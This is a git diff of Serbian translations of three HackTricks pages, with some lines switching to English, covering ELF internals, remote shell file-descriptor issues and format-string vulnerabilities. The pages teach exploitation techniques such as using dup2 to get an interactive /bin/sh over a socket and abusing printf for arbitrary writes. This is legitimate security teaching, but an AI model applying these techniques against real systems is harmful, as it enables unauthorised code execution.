diff --git a/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
index fc9ffed85..037ddf682 100644
--- a/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
+++ b/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
@@ -1,20 +1,23 @@
-# Osnovne informacije o ELF-u
+# ELF Osnovne Informacije
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
-## Programski zaglavlja
+## Programski Headeri
-Opisuju loaderu kako da učita **ELF** u memoriju:
+Oni opisuju loader-u kako da učita **ELF** u memoriju:
```bash
readelf -lW lnstat
@@ -47,54 +50,54 @@ Segment Sections...
07
08 .init_array .fini_array .dynamic .got
```
-Prethodni program ima **9 zaglavlja programa**, zatim, **mapiranje segmenata** pokazuje u kojem se programskom zaglavlju (od 00 do 08) **svaki odeljak nalazi**.
+The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Program HeaDeR
-Sadrži tabele programskih zaglavlja i same metapodatke.
+Contains the program header tables and metadata itself.
### INTERP
-Pokazuje putanju loadera koji se koristi za učitavanje binarnog fajla u memoriju.
+Indicates the path of the loader to use to load the binary into memory.
### LOAD
-Ova zaglavlja se koriste da bi se naznačilo **kako učitati binarni fajl u memoriju**.\
-Svako **LOAD** zaglavlje pokazuje region **memorije** (veličinu, dozvole i poravnanje) i pokazuje bajtove ELF **binarnog fajla koji treba kopirati tamo**.
+These headers are used to indicate **how to load a binary into memory.**\
+Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
-Na primer, drugo ima veličinu 0x1190, treba da se nalazi na 0x1fc48 sa dozvolama za čitanje i pisanje i biće popunjeno sa 0x528 od offseta 0xfc48 (ne popunjava se ceo rezervisani prostor). Ova memorija će sadržati odeljke `.init_array .fini_array .dynamic .got .data .bss`.
+For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
-Ovo zaglavlje pomaže da se programi povežu sa njihovim zavisnostima biblioteka i primene relokacije. Proverite odeljak **`.dynamic`**.
+This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
### NOTE
-Čuva informacije o proizvođaču vezane za binarni fajl.
+This stores vendor metadata information about the binary.
### GNU\_EH\_FRAME
-Definiše lokaciju tabela za odmotavanje steka, koje koriste debageri i funkcije za rukovanje izuzecima u C++.
+Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
### GNU\_STACK
-Sadrži konfiguraciju odbrane od izvršavanja steka. Ako je omogućeno, binarni fajl neće moći da izvršava kod sa steka.
+Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
### GNU\_RELRO
-Pokazuje konfiguraciju RELRO (Relocation Read-Only) binarnog fajla. Ova zaštita će označiti određene odeljke memorije kao samo za čitanje (kao što su `GOT` ili `init` i `fini` tabele) nakon što se program učita i pre nego što počne sa izvršavanjem.
+Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
-U prethodnom primeru kopira 0x3b8 bajtova na 0x1fc48 kao samo za čitanje, utičući na odeljke `.init_array .fini_array .dynamic .got .data .bss`.
+In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
-Imajte na umu da RELRO može biti delimičan ili potpun, delimična verzija ne štiti odeljak **`.plt.got`**, koji se koristi za **leno povezivanje** i potrebno je da ovaj prostor memorije ima **dozvole za pisanje** kako bi upisao adresu biblioteka prvi put kada se njihova lokacija traži.
+Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
### TLS
-Definiše tabelu unosa TLS-a, koja čuva informacije o promenljivima lokalnim za nit.
+Defines a table of TLS entries, which stores info about thread-local variables.
-## Zaglavlja Odeljaka
+## Section Headers
-Zaglavlja odeljaka pružaju detaljniji prikaz ELF binarnog fajla.
+Section headers gives a more detailed view of the ELF binary
```
objdump lnstat -h
@@ -155,24 +158,26 @@ CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
-### Meta Sekcije
+It also indicates the location, offset, permissions but also the **type of data** it section has.
-* **Tabela stringova**: Sadrži sve stringove potrebne datoteci ELF (ali ne one koje zaista koristi program). Na primer, sadrži imena sekcija poput `.text` ili `.data`. Ako je `.text` na offsetu 45 u tabeli stringova, koristiće broj **45** u polju **name**.
-* Da bi se pronašla lokacija tabele stringova, ELF sadrži pokazivač na tabelu stringova.
-* **Tabela simbola**: Sadrži informacije o simbolima poput imena (offset u tabeli stringova), adrese, veličine i dodatne metapodatke o simbolu.
+### Meta Sections
-### Glavne Sekcije
+* **String table**: Sadrži sve stringove potrebne ELF datoteci (ali ne i one koje program zapravo koristi). Na primer, sadrži imena sekcija kao što su `.text` ili `.data`. I ako je `.text` na offsetu 45 u tabeli stringova, koristiće broj **45** u polju **name**.
+* Da bi se pronašlo gde se nalazi tabela stringova, ELF sadrži pokazivač na tabelu stringova.
+* **Symbol table**: Sadrži informacije o simbolima kao što su ime (offset u tabeli stringova), adresa, veličina i više metapodataka o simbolu.
-* **`.text`**: Instrukcije programa koje se izvršavaju.
+### Main Sections
+
+* **`.text`**: Instrukcija programa koja se izvršava.
* **`.data`**: Globalne promenljive sa definisanom vrednošću u programu.
-* **`.bss`**: Globalne promenljive ostavljene neinicijalizovane (ili inicijalizovane na nulu). Promenljive ovde automatski se inicijalizuju na nulu, čime se sprečava dodavanje beskorisnih nula u binarni fajl.
+* **`.bss`**: Globalne promenljive koje nisu inicijalizovane (ili su inicijalizovane na nulu). Promenljive ovde se automatski inicijalizuju na nulu, čime se sprečava dodavanje bespotrebnih nula u binarni fajl.
* **`.rodata`**: Konstantne globalne promenljive (sekcija samo za čitanje).
-* **`.tdata`** i **`.tbss`**: Slično kao .data i .bss kada se koriste promenljive lokalne za nit (`__thread_local` u C++ ili `__thread` u C).
-* **`.dynamic`**: Pogledajte ispod.
+* **`.tdata`** i **`.tbss`**: Kao .data i .bss kada se koriste promenljive lokalne za nit (`__thread_local` u C++ ili `__thread` u C).
+* **`.dynamic`**: Vidi ispod.
-## Simboli
+## Symbols
-Simboli su imenovane lokacije u programu koje mogu biti funkcija, globalni podaci, promenljive lokalne za nit...
+Symbols je imenovana lokacija u programu koja može biti funkcija, globalni objekat podataka, promenljive lokalne za nit...
```
readelf -s lnstat
@@ -195,12 +200,12 @@ Num: Value Size Type Bind Vis Ndx Name
```
Svaki unos simbola sadrži:
-- **Ime**
-- **Atributi vezivanja** (slab, lokalni ili globalni): Lokalni simbol može pristupiti samo program sam, dok su globalni simboli deljeni izvan programa. Slab objekat je na primer funkcija koja može biti zamenjena drugom.
-- **Tip**: NOTYPE (nije naveden tip), OBJECT (globalna podatkovna promenljiva), FUNC (funkcija), SECTION (sekcija), FILE (izvorni kod datoteke za debager), TLS (promenljiva lokalna za nit), GNU_IFUNC (indirektna funkcija za premeštanje)
-- **Indeks sekcije** gde se nalazi
-- **Vrednost** (adresa u memoriji)
-- **Veličina**
+* **Ime**
+* **Atributi vezivanja** (slab, lokalni ili globalni): Lokalni simbol može biti pristupljen samo od strane samog programa, dok su globalni simboli deljeni van programa. Slabi objekat je, na primer, funkcija koja može biti zamenjena drugom.
+* **Tip**: NOTYPE (tip nije specificiran), OBJECT (globalna podatkovna varijabla), FUNC (funkcija), SECTION (sekcija), FILE (izvorni kod za debagere), TLS (varijabla lokalna za nit), GNU\_IFUNC (indirektna funkcija za relokaciju)
+* **Indeks sekcije** gde se nalazi
+* **Vrednost** (adresa u memoriji)
+* **Veličina**
## Dinamička sekcija
```
@@ -237,13 +242,11 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
-## Potrebno
-
-Direktorijum NEEDED ukazuje da program **mora učitati pomenutu biblioteku** kako bi nastavio sa radom. Direktorijum NEEDED se završava kada je deljena **biblioteka potpuno operativna i spremna** za upotrebu.
+Direktorijum NEEDED ukazuje da program **treba da učita pomenutu biblioteku** kako bi nastavio. Direktorijum NEEDED se završava kada je deljena **biblioteka potpuno operativna i spremna** za korišćenje.
## Relokacije
-Loader takođe mora da relokira zavisnosti nakon što ih je učitao. Ove relokacije su naznačene u tabeli relokacija u formatima REL ili RELA, a broj relokacija je dat u dinamičkim sekcijama RELSZ ili RELASZ.
+Loader takođe mora da relokira zavisnosti nakon što ih učita. Ove relokacije su označene u tabeli relokacija u formatima REL ili RELA, a broj relokacija je dat u dinamičkim sekcijama RELSZ ili RELASZ.
```
readelf -r lnstat
@@ -309,7 +312,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
-```plaintext
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
@@ -317,25 +319,25 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
-### Statičke relokacije
+### Staticke Relokacije
-Ako je program učitan na drugom mestu različitom od preferirane adrese (obično 0x400000) zbog toga što je adresa već zauzeta ili zbog **ASLR** ili nekog drugog razloga, statička relokacija **ispravlja pokazivače** koji su imali vrednosti očekujući da će se binarni fajl učitati na preferiranoj adresi.
+Ako je **program učitan na mestu koje se razlikuje** od preferirane adrese (obično 0x400000) zato što je adresa već zauzeta ili zbog **ASLR** ili bilo kog drugog razloga, statička relokacija **ispravlja pokazivače** koji su imali vrednosti očekujući da će binarni fajl biti učitan na preferiranoj adresi.
-Na primer, bilo koja sekcija tipa `R_AARCH64_RELATIV` trebalo bi da izmeni adresu na relokacionom biasu plus vrednost addenda.
+Na primer, svaka sekcija tipa `R_AARCH64_RELATIV` treba da ima modifikovanu adresu na osnovu relokacionog pomaka plus vrednost dodatka.
-### Dinamičke relokacije i GOT
+### Dinamičke Relokacije i GOT
-Relokacija takođe može da se odnosi na spoljni simbol (kao što je funkcija iz zavisnosti). Na primer, funkcija malloc iz libC. Zatim, loader prilikom učitavanja libC na adresi proverava gde je učitana funkcija malloc, zatim će upisati ovu adresu u GOT (Global Offset Table) tabelu (označenu u tabeli relokacija) gde bi trebalo da bude navedena adresa malloc-a.
+Relokacija takođe može referencirati spoljašnji simbol (kao što je funkcija iz zavisnosti). Kao što je funkcija malloc iz libC. Tada, učitavač prilikom učitavanja libC na adresu proverava gde je učitana malloc funkcija, i upisuje ovu adresu u GOT (Global Offset Table) tabelu (naznačenu u relokacionoj tabeli) gde treba da bude specificirana adresa malloc.
-### Tabela vezivanja procedura
+### Tabela Povezivanja Procedura
-Odeljak PLT omogućava lenje vezivanje, što znači da će se rešavanje lokacije funkcije obaviti prvi put kada se pristupi.
+PLT sekcija omogućava obavljanje lenje vezivanja, što znači da će se rešavanje lokacije funkcije izvršiti prvi put kada se pristupi.
-Dakle, kada program pozove malloc, zapravo poziva odgovarajuću lokaciju `malloc` u PLT-u (`malloc@plt`). Prvi put kada se pozove, rešava adresu `malloc` i čuva je tako da se sledeći put kada se pozove `malloc`, umesto koda PLT-a koristi ta adresa.
+Dakle, kada program poziva malloc, zapravo poziva odgovarajuću lokaciju `malloc` u PLT (`malloc@plt`). Prvi put kada se pozove, rešava adresu `malloc` i čuva je, tako da sledeći put kada se pozove `malloc`, ta adresa se koristi umesto PLT koda.
-## Inicijalizacija programa
+## Inicijalizacija Programa
-Nakon što je program učitan, vreme je da se pokrene. Međutim, prvi kod koji se pokreće **nije uvek funkcija `main`**. To je zato što na primer u C++ ako je **globalna promenljiva objekat klase**, ovaj objekat mora biti **inicijalizovan ** **pre** nego što se pokrene `main`, kao u:
+Nakon što je program učitan, vreme je da se pokrene. Međutim, prvi kod koji se izvršava **nije uvek `main`** funkcija. To je zato što, na primer, u C++ ako je **globalna promenljiva objekat klase**, ovaj objekat mora biti **inicijalizovan** **pre** nego što se main izvrši, kao u:
```cpp
#include
// g++ autoinit.cpp -o autoinit
@@ -356,36 +358,36 @@ printf("Main\n");
return 0;
}
```
-Napomena da se ove globalne promenljive nalaze u `.data` ili `.bss`, ali u listama `__CTOR_LIST__` i `__DTOR_LIST__` objekti za inicijalizaciju i destrukciju se čuvaju redom kako bi se pratili.
+Napomena da se ove globalne promenljive nalaze u `.data` ili `.bss`, ali u listama `__CTOR_LIST__` i `__DTOR_LIST__` objekti za inicijalizaciju i destrukciju se čuvaju kako bi se pratili.
-Iz C koda je moguće postići isti rezultat koristeći GNU ekstenzije:
+Iz C koda je moguće dobiti isti rezultat koristeći GNU ekstenzije:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
-Iz perspektive kompajlera, da bi se izvršile ove radnje pre i posle izvršavanja `main` funkcije, moguće je kreirati `init` funkciju i `fini` funkciju koje bi bile referisane u dinamičkoj sekciji kao **`INIT`** i **`FIN`** i smeštene u sekcije `init` i `fini` u ELF fajlu.
+Sa perspektive kompajlera, da bi se izvršile ove radnje pre i posle izvršavanja `main` funkcije, moguće je kreirati `init` funkciju i `fini` funkciju koje bi bile referencirane u dinamičkom delu kao **`INIT`** i **`FIN`**. i smeštene su u `init` i `fini` sekcije ELF-a.
-Druga opcija, kao što je pomenuto, je referisanje listi **`__CTOR_LIST__`** i **`__DTOR_LIST__** u unosima **`INIT_ARRAY`** i **`FINI_ARRAY`** u dinamičkoj sekciji, a dužina ovih lista je naznačena sa **`INIT_ARRAYSZ`** i **`FINI_ARRAYSZ`**. Svaki unos je pokazivač na funkciju koja će biti pozvana bez argumenata.
+Druga opcija, kao što je pomenuto, je da se referenciraju liste **`__CTOR_LIST__`** i **`__DTOR_LIST__`** u **`INIT_ARRAY`** i **`FINI_ARRAY`** stavkama u dinamičkom delu, a dužina ovih stavki je označena sa **`INIT_ARRAYSZ`** i **`FINI_ARRAYSZ`**. Svaka stavka je pokazivač na funkciju koja će biti pozvana bez argumenata.
-Takođe, moguće je imati i **`PREINIT_ARRAY`** sa **pokazivačima** koji će biti izvršeni **pre** pokazivača iz **`INIT_ARRAY`**.
+Štaviše, takođe je moguće imati **`PREINIT_ARRAY`** sa **pokazivačima** koji će biti izvršeni **pre** **`INIT_ARRAY`** pokazivača.
### Redosled inicijalizacije
-1. Program je učitan u memoriju, statičke globalne promenljive su inicijalizovane u **`.data`** sekciji, a neinicijalizovane su postavljene na nulu u **`.bss`** sekciji.
-2. Sve **zavisnosti** programa ili biblioteka su **inicijalizovane** i izvršeno je **dinamičko povezivanje**.
-3. Izvršene su funkcije **`PREINIT_ARRAY`**.
-4. Izvršene su funkcije **`INIT_ARRAY`**.
-5. Ako postoji unos **`INIT`**, on se poziva.
-6. Ako je u pitanju biblioteka, dlopen se završava ovde, ako je program, vreme je da se pozove **prava tačka ulaska** (`main` funkcija).
+1. Program se učitava u memoriju, statičke globalne promenljive se inicijalizuju u **`.data`** i neinicijalizovane se postavljaju na nulu u **`.bss`**.
+2. Sve **zavisnosti** za program ili biblioteke se **inicijalizuju** i **dinamičko povezivanje** se izvršava.
+3. **`PREINIT_ARRAY`** funkcije se izvršavaju.
+4. **`INIT_ARRAY`** funkcije se izvršavaju.
+5. Ako postoji **`INIT`** stavka, ona se poziva.
+6. Ako je u pitanju biblioteka, dlopen se ovde završava, ako je u pitanju program, vreme je da se pozove **pravi ulazni tačka** (`main` funkcija).
-## Lokalno skladištenje niti (TLS)
+## Thread-Local Storage (TLS)
-Definišu se korišćenjem ključne reči **`__thread_local`** u C++-u ili GNU ekstenzijom **`__thread`**.
+Definišu se korišćenjem ključne reči **`__thread_local`** u C++ ili GNU ekstenzije **`__thread`**.
Svaka nit će održavati jedinstvenu lokaciju za ovu promenljivu tako da samo ta nit može pristupiti svojoj promenljivoj.
-Kada se ovo koristi, sekcije **`.tdata`** i **`.tbss`** se koriste u ELF fajlu. One su poput `.data` (inicijalizovane) i `.bss` (neinicijalizovane) ali za TLS.
+Kada se ovo koristi, sekcije **`.tdata`** i **`.tbss`** se koriste u ELF-u. Koje su kao `.data` (inicijalizovane) i `.bss` (neinicijalizovane) ali za TLS.
-Svaka promenljiva će imati unos u zaglavlju TLS-a koji specificira veličinu i TLS offset, što je offset koji će koristiti u oblasti podataka lokalnih niti.
+Svaka promenljiva će imati stavku u TLS zaglavlju koja specificira veličinu i TLS offset, što je offset koji će koristiti u lokalnom području podataka niti.
-`__TLS_MODULE_BASE` je simbol koji se koristi za referisanje bazne adrese lokalnog skladištenja niti i pokazuje na oblast u memoriji koja sadrži sve podatke lokalnih niti modula.
+`__TLS_MODULE_BASE` je simbol koji se koristi za referenciranje osnovne adrese skladišta lokalnih niti i ukazuje na područje u memoriji koje sadrži sve podatke lokalne za niti modula.
diff --git a/binary-exploitation/common-exploiting-problems.md b/binary-exploitation/common-exploiting-problems.md
index df0e7f482..1aca2f4bf 100644
--- a/binary-exploitation/common-exploiting-problems.md
+++ b/binary-exploitation/common-exploiting-problems.md
@@ -1,22 +1,25 @@
-# Česti problemi eksploatacije
+# Uobičajeni problemi sa eksploatacijom
+
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
-## FD-ovi u udaljenoj eksploataciji
+## FDs u daljinskoj eksploataciji
-Kada se šalje eksploatacija na udaljeni server koji poziva **`system('/bin/sh')`** na primer, to će biti izvršeno u serverskom procesu, a `/bin/sh` će očekivati ulaz sa stdin (FD: `0`) i ispisivati izlaz na stdout i stderr (FD-ovi `1` i `2`). Zato napadač neće moći da interaguje sa shell-om.
+Kada se šalje eksploatacija na daljinski server koji poziva **`system('/bin/sh')`**, to će se izvršiti u procesu servera, a `/bin/sh` će očekivati ulaz sa stdin (FD: `0`) i će ispisivati izlaz na stdout i stderr (FD-ovi `1` i `2`). Tako da napadač neće moći da interaguje sa shell-om.
-Način da se ovo reši je pretpostaviti da je kada je server pokrenut, kreirao **FD broj `3`** (za osluškivanje) i da će zatim, vaša veza biti na **FD broju `4`**. Stoga je moguće koristiti sistemski poziv **`dup2`** da duplicira stdin (FD 0) i stdout (FD 1) u FD 4 (onaj koji pripada vezi napadača) kako bi bilo moguće kontaktirati shell nakon što se izvrši.
+Jedan od načina da se to reši je da se pretpostavi da je kada je server pokrenut, kreiran **FD broj `3`** (za slušanje) i da će vaša veza biti u **FD broju `4`**. Stoga, moguće je koristiti sistemski poziv **`dup2`** da se duplira stdin (FD 0) i stdout (FD 1) u FD 4 (onaj od napadačeve veze) kako bi se omogućila komunikacija sa shell-om kada se izvrši.
[**Primer eksploatacije odavde**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
@@ -37,20 +40,23 @@ p.interactive()
```
## Socat & pty
-Imajte na umu da socat već prenosi **`stdin`** i **`stdout`** na socket. Međutim, `pty` režim **uključuje DELETE karaktere**. Dakle, ako pošaljete `\x7f` ( `DELETE` -) **obrišće prethodni karakter** vašeg eksploata.
+Napomena da socat već prenosi **`stdin`** i **`stdout`** na soket. Međutim, `pty` režim **uključuje DELETE karaktere**. Dakle, ako pošaljete `\x7f` ( `DELETE` -) to će **izbrisati prethodni karakter** vašeg eksploita.
-Da biste zaobišli ovo, **bežični karakter `\x16` mora biti dodat na bilo koji `\x7f` koji se šalje.**
+Da biste to zaobišli, **escape karakter `\x16` mora biti prethodjen bilo kojim `\x7f` koji se šalje.**
**Ovde možete** [**pronaći primer ovog ponašanja**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/binary-exploitation/format-strings/README.md b/binary-exploitation/format-strings/README.md
index 0149ce235..07180827f 100644
--- a/binary-exploitation/format-strings/README.md
+++ b/binary-exploitation/format-strings/README.md
@@ -1,26 +1,29 @@
-# Formatiranje stringova
+# Format Strings
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova** [**hacktricks repozitorijumu**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijumu**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## Osnovne informacije
+## Basic Information
-U programskom jeziku C **`printf`** je funkcija koja se može koristiti za **ispisivanje** stringova. Prvi parametar koji ova funkcija očekuje je **čisti tekst sa formatima**. Sledeći očekivani parametri su **vrednosti** koje će **zameniti** **formatere** iz čistog teksta.
+U C **`printf`** je funkcija koja se može koristiti za **štampanje** nekog stringa. **Prvi parametar** koji ova funkcija očekuje je **sirovi tekst sa formatima**. **Sledeći parametri** koji se očekuju su **vrednosti** za **zamenu** **formatera** iz sirovog teksta.
Druge ranjive funkcije su **`sprintf()`** i **`fprintf()`**.
-Ranjivost se pojavljuje kada **napadačev tekst** bude korišćen kao prvi argument ovoj funkciji. Napadač će moći da kreira **specijalan unos zloupotrebom mogućnosti formatiranja stringova** funkcije `printf` kako bi pročitao i **upisao bilo koje podatke na bilo koju adresu (čitljivo/zapisivo)**. Na taj način može **izvršiti proizvoljan kod**.
+Ranjivost se pojavljuje kada se **tekst napadača koristi kao prvi argument** ovoj funkciji. Napadač će moći da kreira **poseban unos koji zloupotrebljava** **printf format** string mogućnosti da čita i **piše bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo)**. Na ovaj način će moći da **izvrši proizvoljan kod**.
-#### Formatteri:
+#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
@@ -33,7 +36,7 @@ Ranjivost se pojavljuje kada **napadačev tekst** bude korišćen kao prvi argum
```
